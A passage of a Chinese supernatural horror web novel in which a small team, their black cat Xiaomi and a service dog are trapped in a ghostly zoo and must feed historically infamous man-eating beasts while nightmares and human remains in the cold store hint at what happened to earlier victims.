天黑得很快,黑暗中传来不知名兽类的低吼,让几人有种置身于原始丛林的感觉。野兽在暗处窥伺着他们,四面没有一处是安全的,他们不由靠拢,同时将小猫小狗围在中间。 最后一抹暗红斜阳落下地平线之前,潘新月带他们来到员工宿舍里。 但比起常规印象当中的宿舍,眼前这个由铁皮搭起的、方方正正的大盒子,第一印象更像是一个大号集装箱。 “快进来。”潘新月催促。 “这就是我们的宿舍?”谢临风迟疑着,不愿意踏入集装箱。大号集装箱里满满装着几十个人,没有分房间,所有员工挤在一起,空气浑浊,汗臭、脚臭、腥臊味混合在一起,就像一个巨型鲱鱼罐头。 潘新月不理他们,挤到人群中,伸手去抓桶里的食物。 几人忍着恶心走进集装箱,看向了动物园提供的员工餐。几个水桶里装着窝窝头、馒头、玉米,不过都不剩多少了。潘新月抢到一个窝窝头,生怕被人抢了一样跑到角落里,蹲下来大口大口把食物往嘴里塞。 “有些后悔签合同了,这破地方。”三个人扫眼桶里的“食物”,就完全没有兴致,找了个干净一些的地方站着。 集装箱在离地大约两米的位置,开了条大约三十厘米宽的长条型窗,窗上同样用铁网围了起来。清新的空气从窗外飘入,稍微驱散一二室内的浑浊臭味。 就算做了心理准备,动物园提供的食宿还是超出他们的想象。 “你们觉不觉得,这里有点像那什么,监狱?” “像国外的诈骗园区。” 谢临风是个讲究人,从腰包里翻出瓶男香,对着空气喷两下,“不给工资也就算了,吃得跟猪食一样,住宿条件也这么恶劣,园长真畜生啊。你们饿不饿,”他从包里翻出块牛奶饼干,朝两个人晃了下,“我这有吃的。” 两个人摇头,在这种环境中,很难吃得下东西。 “咪咪,你饿不饿?” 小咪把头钻进闪电的衣服里,不愿意出来,面对充斥各种气味的浓缩臭气炸弹。 夏炫心疼地说:“你要不要去外面玩一会?” “喵~” “最好不要,”夏双双凝视窗户,轻声说:“我们进来的那栋建筑,窗户外面也围着一层铁网,材质和关动物的铁笼很相似。动物园工作人员是能在园内自由活动的,所以,窗户外面的防护,不是为了拦住员工,而是抵挡来自外面的危险。” 来自外面? 他们想起了黑暗中一双双血红的眼睛。 铁皮箱外兽嚎一声接一声,教人心里发麻。小咪踩在青年头顶,爪爪搭在铁网上,后爪用力一蹬,猫就像一只大黑蜘蛛,挂在了铁窗上。 “咪咪,小心一点。” 夏炫不由担心,咪咪今天可是拉了一波大的仇恨度,如果笼中野兽夜晚会跑出来,它会来找小猫报仇吗? “咪呜~” 夏双双看出他的担心,说:“集装箱里应该是安全的,不然这些员工活不到现在。我刚才看了一下,没有找到萧向秦他们。” 夏炫:“也许队长已经找到门,离开这个鬼域了。”他早就注意到这点,吐出口浊气,眉梢眼角弯起,“楼层里没有暴力通关的痕迹,说明他们进来了这个鬼域,又已经安全离开,我们可以向员工打听他们,这样就不用自己冒险,可以顺着他们找到的线索离开了。” “只怕不容易。” 也许是在极端恶劣的环境中待久了,动物园的员工们一个个面黄肌瘦,皮包骨头,精神状态也很糟糕,与人交流的意愿极低,懒得搭理他们。 夏炫自以为傲的沟通小技巧毫无用处,他甚至拿出自己的大杀器——毛茸茸的小猫咪,去贿赂女员工们。 谁能拒绝一只这么可爱的小猫咪呢? 还真能。 吃完晚饭的员工们在地上翻了个身,沉默地用后背对着他们,宁愿躺在脏兮兮的水泥地上发呆,也不愿和他们说一句话。 他们又来到潘新月的面前,试图从她身上问出点什么。 “潘姐,我们新来的,明天就要正式工作了,你跟我们说一说要做什么呗。” 潘新月和其他人反应一样,面无表情地把脸扭过去。 老员工们像铁板一块,沉默、麻木,排外,不愿意张口与人交流。这让几人有点头疼。 “咕噜——” 潘新月的肚子响亮地叫了一声。 她回来太晚,只抢到一个馒头,桶里装的馒头也很小,并不能填饱成年人的肚子。 “你吃这个吗?”谢临风拿出那包牛奶饼干。 潘新月无神的眼睛亮了一点,直勾勾地看着饼干。 其他员工也纷纷看过来,眼神不掩饰渴望。 夏炫本来有点怕他们围过来群殴,但一看这些人瘦骨嶙峋的样子,就打消了这种担忧。就这些小身板,他不小心撞到他们身上,还怕他们碰瓷。 “明天要打扫园舍、切肉、喂肉、清洁……”潘新月含糊地交待工作内容,马上伸手抢走饼干,狼吞虎咽地吃下,差点连塑料纸也吞进口中。 夏双双蹲下来,压低了声音,“最近除了我们,有没有别的新员工来动物园?” 潘新月没有说话。 谢临风只好又翻口袋,找到一颗糖,用糖作奖励,才让潘新月开口:“没有。” “没有?”夏炫着急道:“你再仔细想一想呢?” 潘新月抿着苍白的唇角,眼睛直直望着牛奶糖,沉默了几分钟,才说:“最近,是多久?” “就这两天之内。” “没有。” “那再往前一段时间呢?有没有人进来,大概三个人,有个上了点年纪的中年女人,大家喊她乐姐。” 潘新月想了半天,才迟缓地说:“啊……他们来过。” “他们去哪了?” “不知道,可能走了吧。” 夏炫松口气,又奇怪地问:“他们不是最近走的吗?” 潘新月不说话,等谢临风把牛奶糖递给她,她咀嚼糖果,才肯开口:“很久之前了,至少半年以前吧。” “半年?!” 夏双双小声说:“这里时间流速和外界不一样,外面一小时,可能就是这里的十天半个月。” 他们看着集装箱里面黄肌瘦的员工,心中不由想一个同样的问题。 如果时间流速不相同,这群员工们实际在动物园待了多久呢? “喵呜。”小咪抬头,蹭蹭夏炫的脸颊,“喵。” 猫想起在哪里见过她了。 在古神话研究所里,几个人类快速在电脑上翻过庆康集团资料,里面就有潘新月。 夏炫也反应过来,“你们都是庆康集团的啊?但是……” 但是既然队长安全离开鬼域,为什么没有把这群员工救出去呢? 第103章 夏炫清楚自己队长的性格,如果让他们选择放弃这么多市民离开,只有两种可能,一是情况太紧急,来不及救人,只能先往前走,二是他们尝试过,却没有办法,或没有必要把这些人带走。 他后退一步,目光扫过席地而睡的人们,庆康集团是本市大公司,能进入这种企业,学历、能力无不出色,都是精英,可躺在地上的人们皮包骨头、蓬头垢面, 有的人毫不顾忌形象,把手伸进□□里挠痒。 他们在电脑上见过这些人,那时员工们穿着正装,拍的职业照上意气风华,精神奕奕,和眼前的模样完全不同。 他的脑中冷不丁闪过一个念头,他们在鬼域里待了这么久,还会是人吗? 谢临风身上带的小零食都用来贿赂潘新月了。 当他们问到那天庆康大楼发生什么,潘新月尖叫一声,捂住脑袋,跑到一个角落蹲下,全身抖得像筛子。 “看来问不出什么了。” 他们又问了其他人,这些员工们反应如出一辙,眼看问不出什么,只好回原地坐下。 小咪在几个人之间踩来踩去,最后在夏双双的怀里找了个舒服的位置。猫更喜欢被小姐姐抱着,她们的身体温度偏高,皮肤柔软,像个暖乎乎的猫窝。 它把自己团起来,“咪呜。” 夏双双微笑着摸摸小猫的头,“睡吧。” “喵。” 不知不觉,万籁俱寂,集装箱的众人陷入了沉睡。小咪睡得并不安稳,它梦见自己出现在一片原始丛林中,在拼命逃跑,后爪用力蹬着地面,身后一双双血红的眼睛在追赶着它。 它看不见那些东西的模样,只能听见一声声可怖的嚎叫。 小咪用力蹬着后爪,蹬了几下,突然从夏双双的怀里跳出,摔在了地上。在落地前,它翻转身体,让四个爪爪踩在地面。 肉垫下传来水泥地冰冷的触感,爪感与梦中湿润的泥土并不相同。 小咪身体趴在爪爪上,摆出母鸡蹲的姿势,呆了好一会,才反应过来刚刚在做梦。宿舍里的人都睡着了,夏炫他们本来商量好轮流守夜的,此刻也陷入了不安的睡眠中。 小猫跳到夏炫的膝盖上,青年低垂着脸,眉头紧皱。 他也在做梦吗? 小咪探起身体,爪爪拍着他的脸,大声叫:“喵呜。” 人,快醒醒,快醒醒。 肉垫按在青年的脸颊上,留下一个小凹陷。小咪几乎把嘴巴凑到他的耳朵边,大声喊:“喵啊——” 人陷入了一场无法醒来的梦魇中,对它的呼唤反应微弱。小咪只好从他身上跳下来,去试着唤醒其他人。 “喵呜。” “喵啊——” “喵,喵,喵哇。” 小黑猫发出长长的叫声,在睡倒的人中走来走去,遇见挡路的人,它也没有绕路,直接从他们的身上踩过去。 在家的时候,它踩几次,室友就会醒来,吚吚呜呜抱怨几声把它捞进被窝里。但今天,不管它怎么叫,也叫不醒噩梦中的众人。 小咪正苦恼之际,突然察觉不对劲之处。 对面月光透过铁网,照在了员工们睡梦中苍白的脸上。而在它所在的这一边,却黑沉沉的,没有光线照进来。 小咪转过身,慢慢抬起头,往上看。 两米多高的铁网后是一片漆黑,像是被什么东西挡住了,当小猫歪了歪头,打算仔细看时,突然之间,黑暗中出现了两点猩红。 像血一样的红,冷冷地看着小猫。 之后,一双又一双血红的眼睛,紧贴着铁网,无声凝视集装箱里的小咪。 小咪匍匐在地,朝它们大声哈气,它们似乎被猫吸引,暗红变得更多了。小咪后爪蹬地,纵身一跳,扒拉在了铁网上,“嗷呜。” 刻意压低、代表威胁的喵呜声,听上去仿佛在一声声喊“老吴”。 小咪把爪爪从铁网缝隙里钻出,伸出指甲,勾向暗红的眼睛。 于是那双眼睛往后退了半步,庞硕的身形也露在月光中。是白天小咪在笼中看见的巨虎,它的前爪趴着集装箱,直立而起,阴影透过铁网洒入宿舍里,笼罩住小咪小小的身体。 “哈——”它的指甲扣着铁丝网,发出自以为凶狠的声音。 野兽们却没有更近一步,静静与小猫对视,小咪意识到,有铁网的阻拦,它们并不能进来。它全身的毛都炸开,像个毛茸茸的刺球,让自己的身体变得更大一点,来威慑吓退敌人。 一网之隔的猛兽没有动静,身后却响起窸窸窣窣的声音。它回头往后看,一个人从地面站了起来。 “喵呜?” 那人背对着小咪,摇摇晃晃往窗户走。 “喵!”小咪大声叫他。 他走路的姿势有点奇怪,歪歪扭扭走到窗户边,下一秒,月光便消失了。 小咪眨了眨眼睛。猫在夜里也能视物,只是视力并不大好,可它清楚地看见,男人走过去后,月光就被挡住,对面的铁网也变成一片黑色。它本想看得再仔细一点,却感觉有股腥臊的热风吹过鼻子,一回头,又对上巨虎斑斓艳煞的大脸。 它张开了嘴巴,獠牙比猫的脑袋要长几倍,暗红的大舌头舔过铁网,舌上倒刺刮擦,让网格微微颤动,巨虎嘴里发出的热风,便吐在了小猫的身体上,热气吹过猫的脸颊,吹动它的胡子,像是在轻轻舔着猫。 “喵呜。”小咪松开指甲,跳到地上,抖了抖身上的毛,甩走巨虎的味道。它知道,老虎想要吃掉自己,如果不是铁网阻隔,方才它张开嘴,就已经把猫吞进了嘴里,甚至不用嚼。 小咪跑到人类身边,匍匐在地,警惕打量周围,为他们放哨。过了一会,它又觉得地面冰冷,又跳到闪电毛茸茸的身体上,静静等待黑夜过去。 不知道过去多久,外面的兽嚎渐渐停下,几声鸟叫后,天色一点点亮了起来,员工们从地上爬起,开始白天的工作。 谢临风睁开眼睛,首先映入眼帘的是张黑色的、毛茸茸的圆脸。他被压得喘不过气,猛地坐起来,把身上的毛茸茸丢出去。 “喵!” 他听见不满的叫囔声。 “咪咪?”谢临风捂住胸口,“吓死我了,我还以为是……” “是野兽?” 谢临风:“对啊,刚刚做了个噩梦,梦见被头黑熊追杀,幸好我跑得快,”这不一醒来,就看见张严肃的黑脸,他差点以为黑熊压在自己身上,打算开始美美用餐,“你怎么知道……你们也梦见了?” 另外两个人表情严肃,点了点头。 在入睡前,他们明明划分好守夜任务,可当黑夜降临,竟都不知不觉陷入噩梦里。还是同样一场,被野兽追杀的噩梦。 谢临风说:“在梦里我一直在跑,本能觉得,被追上会发生可怕的事情,但如果真的被追上,会怎么样,我们会死吗?” “喵呜。” 小咪爪爪并拢,乖巧坐好。 “咪咪,昨天晚上,你醒过来了?” “喵!” 听见小猫说出自己的经历,其他几人想象了那样的场景,不由起了身鸡皮疙瘩。那些凶狠的野兽们,像人一样趴在铁网上,看着睡梦里的他们,滴答流着口水,就像在看罐头里的食物。 这些可不是鬼,而是能把它们撕碎吃掉的猛兽。 “我听说棕熊吃人,为了保持食物的新鲜度,会选择把人活吃。以前有个妈妈接到了女儿的电话,第一个电话里,她说自己正在被熊生吃,太疼了,求妈妈救她,在一个小时后,她给母亲打来了最后一个电话,在电话中请母亲原谅她过去的不懂事,她已经感觉不到疼痛了。也就是说,她被生吃了至少一个小时。” 谢临风想到追自己的那头大黑熊,再听这个故事,全身的寒毛都竖了起来。要是被那头熊追上,他会被生吃吗?如果在普通梦境中,感受到痛楚,就会直接从噩梦中惊醒,然而他们身在鬼域,被野兽追上,大概率不会有什么好事发生。 夏双双环顾四周,低声说:“少了一个人。” “他是在梦里被野兽吃掉了吗?现实里也会失踪?” 小咪:“喵。” 咪看见他是自己走向了窗户,然后身体消失的。 但那个时候,男人的状态已经非常不对劲,走路摇晃,而且,小咪扫了圈周围的人,发现一个问题:他的身形比这些人要胖一点。 “胖一点?”几个人马上就在想,难道野兽杀人顺序是从胖到瘦? “我们肯定比这些老员工要胖。”他们并不胖,身体健康,但动物园的老员工一个个实在太瘦了,饿殍一样,如果野兽吃人挑选顺序,肯定会先从他们吃起。 “说不定是因为我们是新员工呢?” 夏炫走到昨天夜里男人失踪的窗前,拿出一块白布,在铁网上轻轻擦过。再打开时,白布上多了碎屑一样的东西,淡黄色,像有点弹性的小碎布。 “这是?” 夏炫表情沉重,“皮肤碎片,小咪没有看错,昨天他确实离开了这里。” “但是网格这么小,一个成年人是怎么钻出去的?” 夏炫:“如果,他已经被分成了很多块呢?” 看着挂在铁网的碎皮烂肉,他们的脸色不由发白。或许失踪的男人在梦中被野兽杀死,撕成了碎片,之后,他以碎片的形式,从铁网里钻了出来。小猫看见他的身体比之前更胖,是因为肢体碎片的衔接并不紧密。 他会去哪里? 宿舍的大门被打开,员工们鱼贯而出,潘新月爬了起来,找到他们,“该去工作了。” “现在就工作?还没有吃饭呢。” 潘新月面无表情,“园里只准备一餐。” “擦。”谢临风忍不住低骂一声,“也太不人道了,晚上大逃杀也就算了,白天居然还只给吃一餐。” “算了,我们先问问她愚公小队的事吧。离开这里是最重要的事情。” 潘新月听见他们的问题,并没有开口回答,而是静静看着谢临风的口袋。 谢临风翻了翻包,“姐姐,昨天我带的食物全给你吃了啊,看在那些零食的情分上……” 潘新月转身就走。 夏炫:“你看这个行不行?”他翻出了一根给小咪闪电带的肉肠,在猫猫狗狗幽怨的目光中,把肉肠递给了女人。 只要是食物,潘新月都接受,并不在乎这是不是什么宠物食品。她悄悄把肉肠藏起来,“他们可能完成了园长的任务,才离开了这里。” “园长的任务是什么?” 潘新月奇怪地看他们一眼,“我们是动物园,园长的任务,当然是吸引更多游客,让游客开心。” 第104章 游客? 潘新月瞪着他们,好像他们在问什么莫名其妙的问题。 “你是说,这个破动物园,还有游客?” “我们昨天来的时候, 在路上一个游客都没看见啊。” “这个动物园本来就吸引不了几个游客,我们来的时候快傍晚,没有看见人也是正常的。今天白天要在园了工作一整天, 顺便去找一找所谓的游客。” 说话间,潘新月已经走入人群里。员工们排成长龙,不知排队在干什么,几个人也跟在队伍中,等了一会,他们看见了一个胖女人。 “新来的是吧,”胖女人热情打招呼,“叫我张姐就成, 我是来负责给你们分配任务的。咱们的任务是饲养、清洁,要分队的哈, 每队两个人, 一个负责饲养投喂, 一个负责给它们清理笼舍。” “她一定每天不只吃一顿。”谢临风饱含怨念地说。昨天晚上没有吃饭,到现在几个人都开始感到饥饿,和这群被压榨的员工们有些共情,乍然看见这位肥胖富态的张姐,忍不住暗自想:员工们的餐食不会是被她给吃了吧? 现在他们队伍有三个人,加上猫猫狗狗。小猫小狗都被视作“人”的身份,当上员工,就算两个人负责一个笼子,也意味着一定会有个人落单,和老员工组队。 “夏炫谢临风一队,小咪闪电一队,”夏双双安排好人员,“我去找个老员工组队,说不好能问出点线索。” 夏双双是他们中最强战力,几个人也没矫情,同意她的安排。 “饲养和清洁都可能存在危险。” 清洁笼舍的危险显而易见,说不定要和猛兽近距离接触,而饲养或许不用走进笼子里,可以在外部投喂,听上去要安全一点。 但他们心中还有一个疑惑:昨天晚上被野兽撕扯成碎片的男人,去了哪里? “分好队了吧,”张姐笑眯眯地招手,“我来给你们布置任务,来抓阄吧,抓到哪个动物,就负责照顾它们。” 谢临风先往纸盒里一抽,抓到一张卡片,他抿了下嘴角,手有些抖,“棕熊,袈裟悬。” 夏炫问:“棕熊我知道,袈裟悬是什么意思?一头披着袈裟的熊?” 谢临风摇头,“是一只人类历史上记载的有名恶熊,杀死了至少十个人,身高快三米,体重接近四百千克。它尝过人肉的味道,对人肉非常痴迷,性格也非常奸诈狡猾,曾经有六百多人的捕熊队去抓它,却被它耍得团团转。” 为了不吓到同伴,他隐瞒了一些残酷的细节。譬如父亲回到家中,发现了无头的孩子,以及妻子被熊拖走,在地上留下的长长血迹,等找到妻子时,只剩下头盖骨,和膝盖之下的双腿。 还有棕熊引诱开捕熊队,转而袭击了为男人们准备食物的老弱病小。熊爪撕扯开草庐,巨大的影子压在人们的身上,怀有身孕的女人死前最后一刻还努力保护自己腹中的孩子,却惹怒了这头恶熊,被撕开了肚子。 在第一次看到这起案件时,他后脊发凉,生出一种难以言喻的恐惧。人类建起坚固的混凝土建筑,将猛兽们关在动物园观赏,似乎成为了地球的主人,生灵的顶端。 但知道这些案件后,他猛地意识到一件事——如果没有建筑、猎枪、发达的科技,人在猛兽们的眼里,只是一份份皮薄肉嫩的食物,它们看人,同人看鸡鸭猪羊并无区别。 那些“地球主人生灵之长”的言论,听起来像自以为是的猴子在大放厥词。 其实人本来就是猴子。 夏炫也抽到一个猛兽,是一头花豹,“梦中追我的好像也是头豹子,不过,”他乐观地说:“豹子战斗力应该不强吧,都说它们是非洲打工仔,猎物老是被抢,顶多就跑得快了点。” 谢临风戳破他的幻想,“你说的是猎豹,猫亚科的,这是花豹,豹亚科的,这两关系不大,顶多就长得有点像。这头豹是什么?帕娜尔豹,恭喜你!” “恭喜什么?” “恭喜你抽到了吃人最多的豹子,据媒体记载,它杀害了四百人,是历史上第二杀人凶兽。” “不可能吧,豹子能有多厉害?” 谢临风耸肩,“很多人怀疑这个数字有夸大,把一些死亡数字甩锅在野兽身上。但它是曾经让当地百姓闻风丧胆的花豹屠夫一点也不假。花豹喜欢偷袭,快速撕裂人的颈动脉颈静脉,嘴里还含有大量细菌。在那个药物匮乏的年代,危险性不亚于老虎。” 之后小咪把爪爪伸进盒子,掏出一张牌子,上面是与它结过梁子的巨虎。 “查姆帕瓦特食人虎,”谢临风摸摸小猫的脑袋,叹口气,“不愧是咪咪,一下子就抽到了食人最多的猛兽。” “喵呜。”小咪歪歪头。 食人? 会吃猫吗? 至此他们基本可以确定一件事:关在笼子里的猛兽,都是些史上有名的动物屠夫,喜欢把人当小饼干吃。而且白天分配到猛兽,会在夜晚噩梦中追杀他们。 “来!”张姐热情招呼他们,“去冷库搬肉去。早点干完早点回来休息。” 员工们又一窝蜂往另外一栋建筑跑。 小咪坐在夏炫的头顶,乖乖等待自己的那份额食物。 一个同样肥胖的冷库管理员守在门口,接过员工们的手牌后,把食物放在他们的推车上。 谢临风回忆着看过的知识,“食肉动物按照体重比例分配肉类,狮子老虎每天大概摄入二十到四十斤的新鲜肉类,金钱豹是十斤到十六斤,棕熊是杂食性动物,食物包括蔬菜、水果、肉类、昆虫,每天要摄入五十几斤的食物。” 但他们都不用去称着精准的重量,就已经意识到一件事——管理员提供的食物完全不够。 “这么点东西,肯定填不饱那些猛兽的肚子,”谢临风小声对另外两人说。 要是猛兽们感到饥饿,再看着面前的员工,说不定就会开始复苏食人的本能渴望。关在园里的猛兽,又是一些吃过许多人,对人肉上瘾的恶兽。 “该怎么办?” “那些员工为什么保持沉默,他们自信不会被猛兽杀死?” 几人小声说话,突然听见了一阵猫叫。 “喵喵喵!”小黑猫坐在了管理员的桌子上面,大声对着他叫。 不够。 管理员低下头,苍白肥大的面孔抵着小猫的脸,“你说什么?” 他脸上的肉在轻轻抽动,表情异常狰狞恐怖。 “喵!” 小咪抬起小脑袋,把头往上顶,毫不客气地回怼,“喵——!” 这不够! 猫不太懂科学喂养指南,但它知道换算一下,自己可以轻松吃掉一盒两百克的罐头、一盘猫粮,关在笼中的巨虎比自己大这么多倍,吃下的东西肯定更多。 小推车里的一块肉显然喂不饱它。 连猫都看出来了。 管理员嘴角抽动,冷哼:“嫌肉不够是吧,今天正好进了些新货,你想要的话,就自己进去拿。”他伸出肥大手指,指着冷库大门。 铁门敞开,丝丝冷气从门里飘进来。 “我们和她一起进去拿吧。”夏炫把小猫抱在了怀里,带着闪电走入冷库中,至于其他两个人,留在了外边,防止管理员突然关上大门。 冷库温度比外面低十几度,小咪把身体钻到人的外套里,待了一会,又跳出来,钻进闪电的马甲中,紧贴着它滚烫的肌肤。狗狗的体温比人类高,接近四十度的体温透过毛毛传到小咪身上,让猫舒服地眯起眼睛,轻轻打呼噜。 仓库里剩下的大部分都是些烂菜叶子、窝窝头、玉米萝卜,夏炫翻找一会,还找出几块肉,但已经开始变质了,颜色呈现一种金属质感的青绿色,飘出淡淡的腐臭味。 “这些东西拿来喂东西?如果我是那头熊,肯定觉得比起这堆食材,人类才是一个甜美的肉罐头。”夏炫叹口气,好在分配到他的棕熊是杂食动物,他把地上的窝窝头玉米杂七杂八的食物放进车里,又开始犯愁: 其他人分配到的是肉食动物,这些肯定是不够的。 闪电来到一堆烂叶子堆成的小山前,表情严肃,鼻翼翕动,轻嗅空气中的味道。 “喵呜?”小咪从他怀里跳出,爪爪扒拉着菜叶子,推开几片烂菜叶,一块粉红色、散发淡淡腥味的新鲜肉出现在它的眼里。 它叫夏炫过来,夏炫也很高兴,捡起肉往车里丢,“这肉看上去好新鲜,它们一定会喜欢吃。” 肉被剁得细碎,一小块一小块,他捡了几块肉,忽觉有点奇怪。动物园的冻肉都是用切割机切的,肉块骨头边缘均匀,而这几块肉中夹杂许多稀碎的小骨头,就像是被撕扯咬碎。 撕扯? 他连忙几下拨开烂瓜碎叶,几块肉滚到了脚边,其中有半个被撕裂的手掌,手上只存三个手指,可以清晰看到,手背上的根根汗毛。 “快点呐!”管理员在外面不耐烦地催促。 夏炫看着脚边的人肉,陷入了纠结中:如果肉量不够,他们投喂的野兽无法饱腹,很大可能会拿他们当成食物;而如果拿这些肉块去喂野兽,它们熟悉人肉味道后,会对人类产生强烈的食欲。 在外面时,谢临风提起的几个野兽食人的故事,都强调过一点:本来野兽们并不会吃人,在机缘巧合尝过人肉的味道后,才开始对人上瘾,大肆屠杀捕猎人类。比如他抽到的那只花豹,就是吃到了被扔掉的患疟疾而死的尸体,才开始恐怖的屠杀。 吃人会上瘾。 第105章 小咪踩在叶子上,爪爪攀着肉块,直起身体,往冷库深处看。 冷库很大, 一眼望不见头,再往里是一片黑暗,嗖嗖凉气直冒。 闪电上半身伏低, 鼻头轻拱小猫的身体,“汪汪。” 地上冷,小猫坐上来。 “喵呜。”小咪没有跳上去,翘起尾巴往冷库深处跑,在里面,地上有许多散落的肉块,肉块上凝着层雪白的霜,散发寒气。它的鼻子在地上嗅了几下,又翘起尾巴往里跑,叼出一个东西。 夏炫把肉块装上推车。 就算不使用这些肉,把它们带到车上面,作为储备粮也很有必要。他忍着内心对人肉的抵触,装了满满一车的肉块骨头,一低头,小黑猫蹲在自己脚边,趴在了他的鞋子上。 “咪咪, ”鞋子上长猫, 不好动, 他只好把小猫抱走,顺手摸了摸它的头,“很快就好了。不要急。” “喵。”小咪张开嘴, 把叼出的东西放在他手心。 “这是?”冷库光线昏暗,夏炫看不清小猫叼给他的东西,这物品小巧,摸上去冰冷,像金属质感,形状…… 他的嘴唇轻轻颤抖,这是愚公小队的徽章! 夏炫突然意识到,队员们不在员工队伍中,除了离开鬼域,还有另外一个可能——他们永远留在了这里。 “快一点!再不出来我关掉门了。”管理员下放最后通牒。 小咪边跑边抖下爪子,冷库冻脚,它跳出大门,对着管理员肥大的脸喵喵叫几声。 夏炫是最后一个出来的,推车最下层放的是肉,上面用菜叶窝窝头遮挡。他显得魂不守舍,面孔苍白,没有多说什么,拿出徽章给另外两个人看。 “啊?”谢临风看着徽章,又看眼冷库,“不会吧?你们队长超强的啊,怎么可能……如果这个鬼域是猛兽猎杀,他应该是最不怕的那个吧,一梭子子弹扫过去,再凶猛的野兽,看见他也得跑!” “可能是不小心掉在里面的。”他安慰道。 夏炫心情低落地点点头。 “还有一种可能,”夏双双想了下,说:“他们故意留下的线索,冷库里可能有关键性的东西。你在哪儿找到的这个?” “是咪咪找到的。” 人类的视线齐齐转向小猫,小咪歪头,耳朵抖了抖,“喵呜~” 在烂叶子里找到的。 “他们离开半年以上了,在这期间,管理员经常进出冷库,大概率把徽章踢到其他地方。不过至少我们得到一个线索,冷库里可以再去仔细找一找。” 他们一边聊天,一边找了个角落,开始分肉。 管理员给的食物并不多,是正常喂养动物用量的一半,肉也变质了,蔬果腐败,窝窝头发霉,质量很差。用这些食物,填不饱猛兽们的肚子,当然动物和人一样,也会忍受饥饿。 正常来说,饲养员投喂食物,是用不着接触动物的,清理笼舍同样,猛兽分内舍与外舍,清理某一间宿舍时,会将它们隔离在另外一边,尽最大限度保证饲养员的安全。但是在这里,他们很大可能会直面猛兽,因此,每个人又拿了十几斤“新鲜肉”,以备不时之需。 “咪咪,”夏炫推着车,对小猫小狗很照顾,“我们先替你们把食物运过去吧。” 如果规则不限制,他都想直接帮小猫小狗干活。 “你们干什么呢,磨磨蹭蹭的。”张姐不耐烦地走过来,“快点到各自的笼子里去,别让它们饿到了。不然会被投诉的。” “张姐,可以先帮它们把食物运过去吗?” “做好你自己的事,手伸这么长干嘛。”张姐不满地嘟囔,拿出一根绳子,把绳一头缠着推车,一头丢给闪电。 闪电咬住绳,拉着推车,背上载着小猫,瘸腿蹬蹬跑远。 “不愧是特种犬啊,这么能干。” 其他几人也各自带着自己的食物,去往分配到动物的笼舍前。 “喵呜?” 小咪先跑到笼前,一块铁牌挂在网上,牌上写着笼中动物的种类。 “名称:查姆帕瓦特食人虎。 年龄:8岁。 它的故事: 因为年老体衰,犬齿断裂,无法再猎食敏捷的野鹿,便将人类视作猎物。 八年间,它在村庄森林间游荡,造成四百余人死亡,创下【食人最多猛兽】的记录。 ” 小咪看得入神,旁边的闪电松开绳子,警惕地盯着笼舍。昏暗笼舍中,一头巨虎出现在网后,虎目瞪圆,盯着地上的小黑猫。 巨虎趴了下来,比猫全身都粗的前臂肌肉发达,积蓄恐怖的力量。 小咪瞪圆眼睛,爪爪扣着铁网,漆黑小鼻头嗅着网上的味道。 “哈!” “哈——!” 两个猫科动物互相哈气以示“友好”。 打完招呼,咪就要开始干正事了。老虎的笼子并没分内舍外舍,因此,清理笼子要进入门中,与巨虎面贴着面,同处一室。 小咪很快也发现另外一件事—— 笼子没有投喂口,铁网网格很小,最小的肉块也无法投进笼中。 肉从冷库拿出,被冻得无比坚硬,想要把它切成小块,也几乎不可能。 看来只能饲养的人与清理笼舍的人同时进入笼中,一人给猛兽喂肉,吸引它的注意,而另外一个人,要趁这个机会将笼舍清理干净。 小猫小狗对视一眼。 “喵!” 它们的影子从地上爬出,接过了任务。少女提着肉块,推开了门。 刚走入笼中,匍匐在地的巨兽便扭过头,低吼一声,化作一道影子,朝她飞扑而来。 小咪抓起一块肉,往前面一丢。 巨虎不情不愿地叫一声,扭头去吃地上的冻肉。肉块僵硬,它用前爪捂住肉,十几厘米长的尖锐巨齿猛地咬下去,把坚硬无比的冻肉当小饼干一样咬下去,咬得咯嘣咯嘣响。 在吃肉时,它的眼睛紧紧盯着小咪,视线贪婪,嘴里涎水在地上滴成一滩。 小咪感觉,老虎是想把自己大卸八块的,它嘴里咬的是过期冻肉,心里想的是把猫吃掉。 但为什么它不动手呢? 对哦,它应该也受规则的限制,在有“食物”的情况下,只能优先吃冻肉。 于是在巨虎吃完一块肉时,小咪抬手一丢,把另外一块冻肉准确丢在它的嘴巴里。 闪电清理笼舍的速度也很快,用最快的速度把笼里的脏东西清扫干净,迅速和小咪离开的笼舍。 “不够了喵。”小咪看着推车里的食物,低声说。 刚才为了遏制巨虎,她只能一块接一块丢肉,现在问题很快就出现了,就算它们已经配合得很好,动作迅速,推车里也只剩下几小块冻肉,剩下的是些新鲜人肉。 要用人肉来喂下一个动物吗? 小咪微皱着眉,陷入思考。 人类也意识到这个问题。 夏双双面无表情地看同伴一眼,“这就是你让我先喂你那头猛兽的理由?” 她和动物园老员工组队,同伴的名字叫柴刚捷,是个戴眼镜的瘦弱男人。 柴刚捷:“刚才你也同意了的啊。” 夏双双冷笑一声。对方身为动物园老员工,肯定知道喂养清理的具体流程。为了吸引野兽注意,他们只能不停丢出肉块食物,这样分配到的食物就会不够。 第一个喂养的人能完成任务,第二个却几乎不可能完成。 她刚和柴刚捷组队,对方就主动提出先去他负责的动物那儿,他负责投喂食物,而她负责清理笼舍。 现在车里只剩薄薄一层肉,不仅喂不饱笼中雄狮的肚子,时间也不够他们清理笼舍。 “我丢那么多肉是为了你嘛。”柴刚捷辩解道:“要是不一直丢肉吸引它的注意力,它就会吃掉你的。” 夏双双:“那可不一定。当时我们都在笼子里,都有可能被野兽扑倒,你的手里还拿着肉,它正对你,优先吃你的概率更高。” 柴刚捷自知理亏,抿着嘴不说话。 夏双双走到铁门前,一门之隔,那头饿久了的雄狮叫声渗人,撞得铁门哐当响。 柴刚捷双腿发软。 夏双双表情平静,“你信不信,我能把你推进去喂狮子?” “我们都是员工,你不能这样!” 夏双双:“反正用人肉喂猛兽这种事,在你们动物园也不稀奇吧。” 柴刚捷面孔发白,额头冒出冷汗,再次打量眼前的女人。她背着个很大的双肩包,包里不知道装什么,鼓鼓囊囊的,一双眼睛阴沉凌厉,比铁网后食人的猛兽更让人害怕。 “我不知道,”他颤声说:“我不知道!” 夏双双没再说什么,从他手里抢过推车,“我有一个要求,我来负责投喂肉块,你去清理笼子。” 投喂肉块的,显然更具有优势,相当于把另外一个人的命掐在了手里。 柴刚捷擦擦脸上冷汗,拿起旁边的扫把扫帚,战战兢兢地点头,“那你要先进去,用肉吸引它的注意,不然我直接进去会被它撕碎的。” 